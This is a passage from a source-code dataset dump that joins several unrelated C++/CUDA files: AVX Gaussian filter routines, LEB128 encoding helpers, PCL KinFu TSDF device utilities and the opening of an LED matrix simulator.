//reverse direction
for (int y = 0; y < height; y += 8)
{
//boundary processing
img_ptr = img.ptr<float>(y) + width - 1;
dst = img_ptr - 7;
input = _mm256_i32gather_ps(img_ptr, mm_offset, sizeof(float));
patch[7] = _mm256_div_ps(input, _mm256_set1_ps(norm));
--img_ptr;
for (int i = 6; i >= 0; --i)
{
input = _mm256_i32gather_ps(img_ptr, mm_offset, sizeof(float));
//patch[i] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[i + 1]));
patch[i] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[i + 1], input);
--img_ptr;
}
_mm256_transpose8_ps(patch, patch_t);
_mm256_storepatch_ps(dst, patch_t, width);
dst -= 8;
//IIR filtering
for (int x = width - 16; 0 <= x; x -= 8)
{
input = _mm256_i32gather_ps(img_ptr, mm_offset, sizeof(float));
//patch[7] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[0]));
patch[7] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[0], input);
--img_ptr;
for (int i = 6; i >= 0; --i)
{
input = _mm256_i32gather_ps(img_ptr, mm_offset, sizeof(float));
//patch[i] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[i + 1]));
patch[i] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[i + 1], input);
--img_ptr;
}
_mm256_transpose8_ps(patch, patch_t);
_mm256_storepatch_ps(dst, patch_t, width);
dst -= 8;
}
}
}
//set_vload->store transpose unroll 8
void GaussianFilterAM_AVX_32F::horizontalFilterVLoadSetTransposeStore(cv::Mat& img)
{
const int width = imgSize.width;
const int height = imgSize.height;
float* img_ptr;
float* dst;
__m256 input;
__m256 patch[8];
__m256 patch_t[8];
int refx;
//forward direction
for (int y = 0; y < height; y += 8)
{
//boundary processing
img_ptr = img.ptr<float>(y);
dst = img_ptr;
patch[0] = _mm256_set_ps(img_ptr[7 * width], img_ptr[6 * width], img_ptr[5 * width], img_ptr[4 * width], img_ptr[3 * width], img_ptr[2 * width], img_ptr[width], img_ptr[0]);
for (int m = 1; m < r_init; ++m)
{
refx = ref_lborder(-m, borderType);
input = _mm256_set_ps(img_ptr[7 * width + refx], img_ptr[6 * width + refx], img_ptr[5 * width + refx], img_ptr[4 * width + refx], img_ptr[3 * width + refx], img_ptr[2 * width + refx], img_ptr[width + refx], img_ptr[refx]);
//patch[0] = _mm256_add_ps(patch[0], _mm256_mul_ps(_mm256_set1_ps(h[m]), input));
patch[0] = _mm256_fmadd_ps(_mm256_set1_ps(h[m]), input, patch[0]);
}
++img_ptr;
for (int i = 1; i < 8; ++i)
{
input = _mm256_set_ps(img_ptr[7 * width], img_ptr[6 * width], img_ptr[5 * width], img_ptr[4 * width], img_ptr[3 * width], img_ptr[2 * width], img_ptr[width], img_ptr[0]);
//patch[i] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[i - 1]));
patch[i] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[i - 1], input);
++img_ptr;
}
_mm256_transpose8_ps(patch, patch_t);
_mm256_storepatch_ps(dst, patch_t, width);
dst += 8;
//IIR filtering
for (int x = 8; x < width; x += 8)
{
input = _mm256_set_ps(img_ptr[7 * width], img_ptr[6 * width], img_ptr[5 * width], img_ptr[4 * width], img_ptr[3 * width], img_ptr[2 * width], img_ptr[width], img_ptr[0]);
//patch[0] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[7]));
patch[0] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[7], input);
++img_ptr;
for (int i = 1; i < 8; ++i)
{
input = _mm256_set_ps(img_ptr[7 * width], img_ptr[6 * width], img_ptr[5 * width], img_ptr[4 * width], img_ptr[3 * width], img_ptr[2 * width], img_ptr[width], img_ptr[0]);
//patch[i] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[i - 1]));
patch[i] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[i - 1], input);
++img_ptr;
}
_mm256_transpose8_ps(patch, patch_t);
_mm256_storepatch_ps(dst, patch_t, width);
dst += 8;
}
}
//reverse direction
for (int y = 0; y < height; y += 8)
{
//boundary processing
img_ptr = img.ptr<float>(y) + width - 1;
dst = img_ptr - 7;
input = _mm256_set_ps(img_ptr[7 * width], img_ptr[6 * width], img_ptr[5 * width], img_ptr[4 * width], img_ptr[3 * width], img_ptr[2 * width], img_ptr[width], img_ptr[0]);
patch[7] = _mm256_div_ps(input, _mm256_set1_ps(norm));
--img_ptr;
for (int i = 6; i >= 0; --i)
{
input = _mm256_set_ps(img_ptr[7 * width], img_ptr[6 * width], img_ptr[5 * width], img_ptr[4 * width], img_ptr[3 * width], img_ptr[2 * width], img_ptr[width], img_ptr[0]);
//patch[i] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[i + 1]));
patch[i] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[i + 1], input);
--img_ptr;
}
_mm256_transpose8_ps(patch, patch_t);
_mm256_storepatch_ps(dst, patch_t, width);
dst -= 8;
//IIR filtering
for (int x = width - 16; 0 <= x; x -= 8)
{
input = _mm256_set_ps(img_ptr[7 * width], img_ptr[6 * width], img_ptr[5 * width], img_ptr[4 * width], img_ptr[3 * width], img_ptr[2 * width], img_ptr[width], img_ptr[0]);
//patch[7] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[0]));
patch[7] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[0], input);
--img_ptr;
for (int i = 6; i >= 0; --i)
{
input = _mm256_set_ps(img_ptr[7 * width], img_ptr[6 * width], img_ptr[5 * width], img_ptr[4 * width], img_ptr[3 * width], img_ptr[2 * width], img_ptr[width], img_ptr[0]);
//patch[i] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[i + 1]));
patch[i] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[i + 1], input);
--img_ptr;
}
_mm256_transpose8_ps(patch, patch_t);
_mm256_storepatch_ps(dst, patch_t, width);
dst -= 8;
}
}
}
void GaussianFilterAM_AVX_32F::verticalFilter(Mat& img)
{
const int width = imgSize.width;
const int height = imgSize.height;
float* imgPtr;
__m256 accum;
//forward processing
imgPtr = img.ptr<float>();
for (int x = 0; x < width; x += 8)
{
accum = _mm256_setzero_ps();
for (int m = 0; m < r_init; ++m)
{
accum = _mm256_add_ps(accum, _mm256_mul_ps(_mm256_set1_ps(h[m]), *(__m256*)(imgPtr + x + ref_tborder(-m, width, borderType))));
}
_mm256_store_ps(imgPtr + x, accum);
}
for (int y = 1; y < height; ++y)
{
imgPtr = img.ptr<float>(y);
for (int x = 0; x < width; x += 8)
*(__m256*)(imgPtr + x) = _mm256_add_ps(*(__m256*)(imgPtr + x), _mm256_mul_ps(_mm256_set1_ps(nu), *(__m256*)(imgPtr + x - width)));
}
//backward processing
imgPtr = img.ptr<float>(height - 1);
for (int x = 0; x < width; x += 8)
*(__m256*)(imgPtr + x) = _mm256_div_ps(*(__m256*)(imgPtr + x), _mm256_set1_ps(norm));
for (int y = height - 2; y >= 0; --y)
{
imgPtr = img.ptr<float>(y);
for (int x = 0; x < width; x += 8)
*(__m256*)(imgPtr + x) = _mm256_add_ps(*(__m256*)(imgPtr + x), _mm256_mul_ps(_mm256_set1_ps(nu), *(__m256*)(imgPtr + x + width)));
}
}
void GaussianFilterAM_AVX_32F::body(const cv::Mat& src, cv::Mat& dst, const int borderType)
{
this->borderType = borderType;
CV_Assert(src.cols % 8 == 0);
CV_Assert(src.rows % 8 == 0);
CV_Assert(src.depth()==CV_8U|| src.depth() == CV_32F);
if (dest_depth == CV_32F)
{
if (src.depth() == CV_32F)
multiply(src, scale, dst);
else
src.convertTo(dst, CV_32F, scale);
for (int k = 0; k < gf_order; ++k)
{
//horizontalFilterVLoadSetTransposeStore(dst);
horizontalFilterVLoadGatherTransposeStore(dst);
}
multiply(dst, scale, dst);
for (int k = 0; k < gf_order; ++k)
{
verticalFilter(dst);
}
}
else
{
inter.create(src.size(), CV_32F);
if (src.depth() == CV_32F)
multiply(src, scale, inter);
else
src.convertTo(inter, CV_32F, scale);
for (int k = 0; k < gf_order; ++k)
{
//horizontalFilterVLoadSetTransposeStore(inter);
horizontalFilterVLoadGatherTransposeStore(inter);
}
multiply(inter, scale, inter);
for (int k = 0; k < gf_order; ++k)
{
verticalFilter(inter);
}
inter.convertTo(dst, dest_depth);
}
}
void GaussianFilterAM_AVX_32F::filter(const cv::Mat& src, cv::Mat& dst, const double sigma, const int order, const int borderType)
{
if (this->sigma != sigma || this->gf_order != order || imgSize != src.size())
{
this->sigma = sigma;
this->gf_order = order;
this->imgSize = src.size();
allocBuffer();
}
body(src, dst, borderType);
}
#pragma endregion
#pragma region GaussianFilterAM_AVX_64F
void GaussianFilterAM_AVX_64F::allocBuffer()
{
const double q = sigma * (1.0 + (0.3165 * gf_order + 0.5695) / ((gf_order + 0.7818) * (gf_order + 0.7818)));
const double lambda = (q * q) / (2.0 * gf_order);
nu = ((1.0 + 2.0 * lambda - sqrt(1.0 + 4.0 * lambda)) / (2.0 * lambda));
r_init = (int)ceil(log((1.0 - nu) * tol) / log(nu));
scale = pow(nu / lambda, gf_order);
__m256d mm_nu = _mm256_broadcast_sd(&nu);
this->mm_h = (__m256d*)_mm_malloc(r_init * sizeof(__m256d), 32);
this->mm_h[0] = _mm256_set1_pd(1.0);
for (int i = 1; i < r_init; ++i)
{
this->mm_h[i] = _mm256_mul_pd(mm_nu, mm_h[i - 1]);
}
}
GaussianFilterAM_AVX_64F::GaussianFilterAM_AVX_64F(cv::Size imgSize, double sigma, int order)
: SpatialFilterBase(imgSize, CV_64F)
{
this->gf_order = order;
this->sigma = sigma;
allocBuffer();
}
GaussianFilterAM_AVX_64F::GaussianFilterAM_AVX_64F(const int dest_depth)
{
this->dest_depth = dest_depth;
this->depth = CV_64F;
}
GaussianFilterAM_AVX_64F::~GaussianFilterAM_AVX_64F()
{
_mm_free(mm_h);
}
//gather_vload->store transpose unroll 4
void GaussianFilterAM_AVX_64F::horizontalFilterVloadGatherTranposeStore(cv::Mat& img)
{
const int width = imgSize.width;
const int height = imgSize.height;
double* img_ptr;
__m256d cur;
__m256d patch[4];
__m256d patch_t[4];
__m128i mm_offset = _mm_set_epi32(3 * width, 2 * width, width, 0);
__m256d mm_nu= _mm256_broadcast_sd(&nu);
__m256d mm_norm= _mm256_set1_pd((1.0 - nu));
//forward direction
for (int y = 0; y < height; y += 4)
{
//boundary processing
img_ptr = img.ptr<double>(y);
patch[0] = _mm256_setzero_pd();
for (int m = 0; m < r_init; ++m)
{
cur = _mm256_i32gather_pd(img_ptr + ref_lborder(-m, borderType), mm_offset, sizeof(double));
//patch[0] = _mm256_add_pd(patch[0], _mm256_mul_pd(mm_h[m], cur));
patch[0] = _mm256_fmadd_pd(mm_h[m], cur, patch[0]);
}
for (int i = 1; i < 4; ++i)
{
cur = _mm256_i32gather_pd(img_ptr + i, mm_offset, sizeof(double));
//patch[i] = _mm256_add_pd(cur, _mm256_mul_pd(mm_nu, patch[i - 1]));
patch[i] = _mm256_fmadd_pd(mm_nu, patch[i - 1], cur);
}
_mm256_transpose4_pd(patch, patch_t);
_mm256_storeupatch_pd(img_ptr, patch_t, width);
//IIR filtering
for (int x = 4; x < width; x += 4)
{
cur = _mm256_i32gather_pd(img_ptr + x, mm_offset, sizeof(double));
//patch[0] = _mm256_add_pd(cur, _mm256_mul_pd(mm_nu, patch[3]));
patch[0] = _mm256_fmadd_pd(mm_nu, patch[3], cur);
for (int i = 1; i < 4; ++i)
{
cur = _mm256_i32gather_pd(img_ptr + x + i, mm_offset, sizeof(double));
//patch[i] = _mm256_add_pd(cur, _mm256_mul_pd(mm_nu, patch[i - 1]));
patch[i] = _mm256_fmadd_pd(mm_nu, patch[i - 1], cur);
}
_mm256_transpose4_pd(patch, patch_t);
_mm256_storeupatch_pd(img_ptr + x, patch_t, width);
}
}
//reverse direction
for (int y = 0; y < height; y += 4)
{
//boundary processing
img_ptr = img.ptr<double>(y);
patch[3] = _mm256_i32gather_pd(img_ptr + width - 1, mm_offset, sizeof(double));
patch[3] = _mm256_div_pd(patch[3], mm_norm);
for (int i = 2; i >= 0; --i)
{
cur = _mm256_i32gather_pd(img_ptr + width - 4 + i, mm_offset, sizeof(double));
//patch[i] = _mm256_add_pd(cur, _mm256_mul_pd(mm_nu, patch[i + 1]));
patch[i] = _mm256_fmadd_pd(mm_nu, patch[i + 1], cur);
}
_mm256_transpose4_pd(patch, patch_t);
_mm256_storeupatch_pd(img_ptr + width - 4, patch_t, width);
//IIR filtering
for (int x = width - 8; 0 <= x; x -= 4)
{
cur = _mm256_i32gather_pd(img_ptr + x + 3, mm_offset, sizeof(double));
//patch[3] = _mm256_add_pd(cur, _mm256_mul_pd(mm_nu, patch[0]));
patch[3] = _mm256_fmadd_pd(mm_nu, patch[0], cur);
for (int i = 2; i >= 0; --i)
{
cur = _mm256_i32gather_pd(img_ptr + x + i, mm_offset, sizeof(double));
//patch[i] = _mm256_add_pd(cur, _mm256_mul_pd(mm_nu, patch[i + 1]));
patch[i] = _mm256_fmadd_pd(mm_nu, patch[i + 1], cur);
}
_mm256_transpose4_pd(patch, patch_t);
_mm256_storeupatch_pd(img_ptr + x, patch_t, width);
}
}
}
void GaussianFilterAM_AVX_64F::verticalFilter(Mat& img)
{
const int width = imgSize.width;
const int height = imgSize.height;
//forward direction
double* imgPtr = img.ptr<double>();
__m256d mm_nu = _mm256_broadcast_sd(&nu);
__m256d mm_norm = _mm256_set1_pd((1.0 - nu));
for (int x = 0; x < width; x += 4)
{
//boundary processing
__m256d accum = _mm256_setzero_pd();
for (int m = 0; m < r_init; ++m)
{
//accum = _mm256_add_pd(accum, _mm256_mul_pd(mm_h[m], *(__m256d*)(imgPtr + x + ref_tborder(-m, width, borderType))));
accum = _mm256_fmadd_pd(mm_h[m], *(__m256d*)(imgPtr + x + ref_tborder(-m, width, borderType)), accum);
}
_mm256_store_pd(imgPtr + x, accum);
}
//IIR filtering
for (int y = 1; y < height; ++y)
{
imgPtr = img.ptr<double>(y);
for (int x = 0; x < width; x += 4)
{
//*(__m256d*)(imgPtr + x) = _mm256_add_pd(*(__m256d*)(imgPtr + x), _mm256_mul_pd(mm_nu, *(__m256d*)(imgPtr + x - width)));
*(__m256d*)(imgPtr + x) = _mm256_fmadd_pd(mm_nu, *(__m256d*)(imgPtr + x - width), *(__m256d*)(imgPtr + x));
}
}
//reverse direction
imgPtr = img.ptr<double>(height - 1);
__m256d mdiv = _mm256_div_pd(_mm256_set1_pd(1.0), mm_norm);
//boundary processing
for (int x = 0; x < width; x += 4)
{
*(__m256d*)(imgPtr + x) = _mm256_mul_pd(*(__m256d*)(imgPtr + x), mdiv);
}
//IIR filtering
for (int y = height - 2; y >= 0; --y)
{
imgPtr = img.ptr<double>(y);
for (int x = 0; x < width; x += 4)
{
//*(__m256d*)(imgPtr + x) = _mm256_add_pd(*(__m256d*)(imgPtr + x), _mm256_mul_pd(mm_nu, *(__m256d*)(imgPtr + x + width)));
*(__m256d*)(imgPtr + x) = _mm256_fmadd_pd(mm_nu, *(__m256d*)(imgPtr + x + width), *(__m256d*)(imgPtr + x));
}
}
}
void GaussianFilterAM_AVX_64F::body(const cv::Mat& src, cv::Mat& dst, const int borderType)
{
this->borderType = borderType;
CV_Assert(src.cols % 4 == 0);
CV_Assert(src.rows % 4 == 0);
CV_Assert(src.depth() == CV_8U || src.depth() == CV_32F || src.depth() == CV_64F);
if (dest_depth == CV_64F)
{
if (src.depth() == CV_64F)
multiply(src, scale, dst);
else
src.convertTo(dst, CV_64F, scale);
for (int k = 0; k < gf_order; ++k)
{
horizontalFilterVloadGatherTranposeStore(dst);
}
multiply(dst, scale, dst);
for (int k = 0; k < gf_order; ++k)
{
verticalFilter(dst);
}
}
else
{
inter.create(src.size(), CV_64F);
if (src.depth() == CV_64F)
multiply(src, scale, inter);
else
src.convertTo(inter, CV_64F, scale);
for (int k = 0; k < gf_order; ++k)
{
horizontalFilterVloadGatherTranposeStore(inter);
}
multiply(inter, scale, inter);
for (int k = 0; k < gf_order; ++k)
{
verticalFilter(inter);
}
inter.convertTo(dst, dest_depth);
}
}
void GaussianFilterAM_AVX_64F::filter(const cv::Mat& src, cv::Mat& dst, const double sigma, const int order, const int borderType)
{
if (this->sigma != sigma || this->gf_order != order || imgSize != src.size())
{
this->sigma = sigma;
this->gf_order = order;
this->imgSize = src.size();
allocBuffer();
}
body(src, dst, borderType);
}
#pragma endregion
} | 28.785806 | 226 | 0.621588 | norishigefukushima |
86b6f1e9c62023530b927f9a0faf6ebca5b1a589 | 7,149 | cpp | C++ | dex/dex2dex/d2d_dexlib.cpp | tetsuo-cpp/xoc | ff27765f953ce0d51ee71ad3496fd4cdd7fcbcf2 | [
"BSD-3-Clause"
] | 111 | 2015-08-21T01:53:55.000Z | 2022-03-07T12:24:30.000Z | dex/dex2dex/d2d_dexlib.cpp | tetsuo-cpp/xoc | ff27765f953ce0d51ee71ad3496fd4cdd7fcbcf2 | [
"BSD-3-Clause"
] | 3 | 2016-02-19T03:22:49.000Z | 2020-11-25T07:26:48.000Z | dex/dex2dex/d2d_dexlib.cpp | tetsuo-cpp/xoc | ff27765f953ce0d51ee71ad3496fd4cdd7fcbcf2 | [
"BSD-3-Clause"
] | 17 | 2015-08-06T03:10:28.000Z | 2021-03-28T11:17:51.000Z | /*@
XOC Release License
Copyright (c) 2013-2014, Alibaba Group, All rights reserved.
compiler@aliexpress.com
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the Su Zhenyu nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS
BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
author: GongKai, JinYue
@*/
/*
* Copyright (C) 2014 The Alibaba YunOS Project
*/
/*
* Functions for interpreting LEB128 (little endian base 128) values
*/
#include "d2d_dexlib.h"
#include "std/cstd.h"
#if 0
/*
* Reads an unsigned LEB128 value, updating the given pointer to point
* just past the end of the read value. This function tolerates
* non-zero high-order bits in the fifth encoded byte.
*/
int readUnsignedLeb128(const UInt8** pStream) {
const UInt8* ptr = *pStream;
int result = *(ptr++);
if (result > 0x7f) {
int cur = *(ptr++);
result = (result & 0x7f) | ((cur & 0x7f) << 7);
if (cur > 0x7f) {
cur = *(ptr++);
result |= (cur & 0x7f) << 14;
if (cur > 0x7f) {
cur = *(ptr++);
result |= (cur & 0x7f) << 21;
if (cur > 0x7f) {
/*
* Note: We don't check to see if cur is out of
* range here, meaning we tolerate garbage in the
* high four-order bits.
*/
cur = *(ptr++);
result |= cur << 28;
}
}
}
}
*pStream = ptr;
return result;
}
#endif
int signedLeb128Size(Int32 value)
{
int remaining = value >> 7;
int count = 0;
bool hasMore = true;
int end = ((value & (MIN_INT)) == 0) ? 0 : -1;
while (hasMore) {
hasMore = (remaining != end)
|| ((remaining & 1) != ((value >> 6) & 1));
value = remaining;
remaining >>= 7;
count++;
}
return count;
}
void writeSignedLeb128(Int8* ptr, Int32 value)
{
int remaining = value >> 7;
bool hasMore = true;
int end = ((value & MIN_INT) == 0) ? 0 : -1;
while (hasMore) {
hasMore = (remaining != end)
|| ((remaining & 1) != ((value >> 6) & 1));
*ptr++ = ((Int8)((value & 0x7f) | (hasMore ? 0x80 : 0)));
value = remaining;
remaining >>= 7;
}
}
/*
* Returns the number of bytes needed to encode "val" in ULEB128 form.
*/
#if 0
int unsignedLeb128Size(UInt32 data)
{
int count = 0;
do {
data >>= 7;
count++;
} while (data != 0);
return count;
}
/*
* Writes a 32-bit value in unsigned ULEB128 format.
*
* Returns the updated pointer.
*/
UInt8* writeUnsignedLeb128(UInt8* ptr, UInt32 data)
{
while (true) {
UInt8 out = data & 0x7f;
if (out != data) {
*ptr++ = out | 0x80;
data >>= 7;
} else {
*ptr++ = out;
break;
}
}
return ptr;
}
#endif
/*
* Reads a signed LEB128 value, updating the given pointer to point
* just past the end of the read value. This function tolerates
* non-zero high-order bits in the fifth encoded byte.
*/
#if 0
int readSignedLeb128(const Int8** pStream) {
const Int8* ptr = *pStream;
int result = *(ptr++);
if (result <= 0x7f) {
result = (result << 25) >> 25;
} else {
int cur = *(ptr++);
result = (result & 0x7f) | ((cur & 0x7f) << 7);
if (cur <= 0x7f) {
result = (result << 18) >> 18;
} else {
cur = *(ptr++);
result |= (cur & 0x7f) << 14;
if (cur <= 0x7f) {
result = (result << 11) >> 11;
} else {
cur = *(ptr++);
result |= (cur & 0x7f) << 21;
if (cur <= 0x7f) {
result = (result << 4) >> 4;
} else {
/*
* Note: We don't check to see if cur is out of
* range here, meaning we tolerate garbage in the
* high four-order bits.
*/
cur = *(ptr++);
result |= cur << 28;
}
}
}
}
*pStream = ptr;
return result;
}
#endif
#if 0
/*
* Reads an unsigned LEB128 value, updating the given pointer to point
* just past the end of the read value and also indicating whether the
* value was syntactically valid. The only syntactically *invalid*
* values are ones that are five bytes long where the final byte has
* any but the low-order four bits set. Additionally, if the limit is
* passed as non-nullptr and bytes would need to be read past the limit,
* then the read is considered invalid.
*/
int readAndVerifyUnsignedLeb128(const UInt8** pStream, const UInt8* limit,
bool* okay) {
const UInt8* ptr = *pStream;
int result = readUnsignedLeb128(pStream);
if (((limit != nullptr) && (*pStream > limit))
|| (((*pStream - ptr) == 5) && (ptr[4] > 0x0f))) {
*okay = false;
}
return result;
}
/*
* Reads a signed LEB128 value, updating the given pointer to point
* just past the end of the read value and also indicating whether the
* value was syntactically valid. The only syntactically *invalid*
* values are ones that are five bytes long where the final byte has
* any but the low-order four bits set. Additionally, if the limit is
* passed as non-nullptr and bytes would need to be read past the limit,
* then the read is considered invalid.
*/
int readAndVerifySignedLeb128(const UInt8** pStream, const UInt8* limit,
bool* okay) {
const UInt8* ptr = *pStream;
int result = readSignedLeb128(pStream);
if (((limit != nullptr) && (*pStream > limit))
|| (((*pStream - ptr) == 5) && (ptr[4] > 0x0f))) {
*okay = false;
}
return result;
}
#endif
| 29.179592 | 75 | 0.577004 | tetsuo-cpp |
86b9534a6cf5d221da4cdde69c6d9062b584a4a7 | 4,704 | hpp | C++ | gpu/kinfu_large_scale/src/cuda/device.hpp | yxlao/StanfordPCL | 98a8663f896c1ba880d14efa2338b7cfbd01b6ef | [
"MIT"
] | null | null | null | gpu/kinfu_large_scale/src/cuda/device.hpp | yxlao/StanfordPCL | 98a8663f896c1ba880d14efa2338b7cfbd01b6ef | [
"MIT"
] | null | null | null | gpu/kinfu_large_scale/src/cuda/device.hpp | yxlao/StanfordPCL | 98a8663f896c1ba880d14efa2338b7cfbd01b6ef | [
"MIT"
] | null | null | null | /*
* Software License Agreement (BSD License)
*
* Point Cloud Library (PCL) - www.pointclouds.org
* Copyright (c) 2011, Willow Garage, Inc.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of Willow Garage, Inc. nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifndef PCL_GPU_KINFU_DEVICE_HPP_
#define PCL_GPU_KINFU_DEVICE_HPP_
//#include <pcl/gpu/utils/device/limits.hpp>
//#include <pcl/gpu/utils/device/vector_math.hpp>
#include "utils.hpp" //temporary reimplementing to release kinfu without pcl_gpu_utils
#include "internal.h"
namespace pcl {
namespace device {
#define INV_DIV 3.051850947599719e-5f
__device__ __forceinline__ static void
shift_tsdf_pointer(short2 **value, pcl::gpu::tsdf_buffer buffer) {
/// Shift the pointer by (@origin - @start)
*value += (buffer.tsdf_rolling_buff_origin - buffer.tsdf_memory_start);
/// If we land outside of the memory, make sure to "modulo" the new value
if (*value > buffer.tsdf_memory_end) {
*value -= (buffer.tsdf_memory_end - buffer.tsdf_memory_start + 1);
}
}
__device__ __forceinline__ static void
shift_color_pointer(uchar4 **value, pcl::gpu::tsdf_buffer buffer) {
/// Shift the pointer by (@origin - @start)
*value += (buffer.color_rolling_buff_origin - buffer.color_memory_start);
/// If we land outside of the memory, make sure to "modulo" the new value
if (*value > buffer.color_memory_end) {
*value -= (buffer.color_memory_end - buffer.color_memory_start + 1);
}
}
__device__ __forceinline__ void pack_tsdf(float tsdf, int weight,
short2 &value) {
int fixedp = max(-DIVISOR, min(DIVISOR, __float2int_rz(tsdf * DIVISOR)));
// int fixedp = __float2int_rz(tsdf * DIVISOR);
value = make_short2(fixedp, weight);
}
__device__ __forceinline__ void unpack_tsdf(short2 value, float &tsdf,
int &weight) {
weight = value.y;
tsdf = __int2float_rn(value.x) / DIVISOR; //*/ * INV_DIV;
}
__device__ __forceinline__ float unpack_tsdf(short2 value) {
return static_cast<float>(value.x) / DIVISOR; //*/ * INV_DIV;
}
__device__ __forceinline__ float3 operator*(const Mat33 &m, const float3 &vec) {
return make_float3(dot(m.data[0], vec), dot(m.data[1], vec),
dot(m.data[2], vec));
}
////////////////////////////////////////////////////////////////////////////////////////
///// Prefix Scan utility
enum ScanKind { exclusive, inclusive };
template <ScanKind Kind, class T>
__device__ __forceinline__ T scan_warp(volatile T *ptr,
const unsigned int idx = threadIdx.x) {
const unsigned int lane = idx & 31; // index of thread in warp (0..31)
if (lane >= 1)
ptr[idx] = ptr[idx - 1] + ptr[idx];
if (lane >= 2)
ptr[idx] = ptr[idx - 2] + ptr[idx];
if (lane >= 4)
ptr[idx] = ptr[idx - 4] + ptr[idx];
if (lane >= 8)
ptr[idx] = ptr[idx - 8] + ptr[idx];
if (lane >= 16)
ptr[idx] = ptr[idx - 16] + ptr[idx];
if (Kind == inclusive)
return ptr[idx];
else
return (lane > 0) ? ptr[idx - 1] : 0;
}
} // namespace device
} // namespace pcl
#endif /* PCL_GPU_KINFU_DEVICE_HPP_ */
| 37.632 | 88 | 0.66369 | yxlao |
86b98be3e4213c1664fcf3eeae72e9a77b84759a | 35,519 | cpp | C++ | AdsLedMatrixCMS/v3.0.1/soft_v3/MatrixSimulator.cpp | cuongquay/led-matrix-display | 6dd0e3be9ee23862610dab7b0d40970c6900e5e4 | [
"Apache-2.0"
] | null | null | null | AdsLedMatrixCMS/v3.0.1/soft_v3/MatrixSimulator.cpp | cuongquay/led-matrix-display | 6dd0e3be9ee23862610dab7b0d40970c6900e5e4 | [
"Apache-2.0"
] | null | null | null | AdsLedMatrixCMS/v3.0.1/soft_v3/MatrixSimulator.cpp | cuongquay/led-matrix-display | 6dd0e3be9ee23862610dab7b0d40970c6900e5e4 | [
"Apache-2.0"
] | 1 | 2020-06-13T08:34:26.000Z | 2020-06-13T08:34:26.000Z | // MatrixSimulator.cpp : implementation file
//
#include "stdafx.h"
#include "MATRIX.h"
#include "FontDisp.h"
#include "MatrixSimulator.h"
#include "resource.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#define TIMER_ID 1001
#define CLOCK_ID 1002
extern FONT_CHAR char_map[256];
#define LAYER_COUNT 4
#define BLANK_STATE 0x00
static BYTE buffer[2048*8][32]; // 512 characters max - 64KBs
static BYTE __SCREEN_LAYER[LAYER_COUNT][DATA_LINE*DATA_LENGTH];
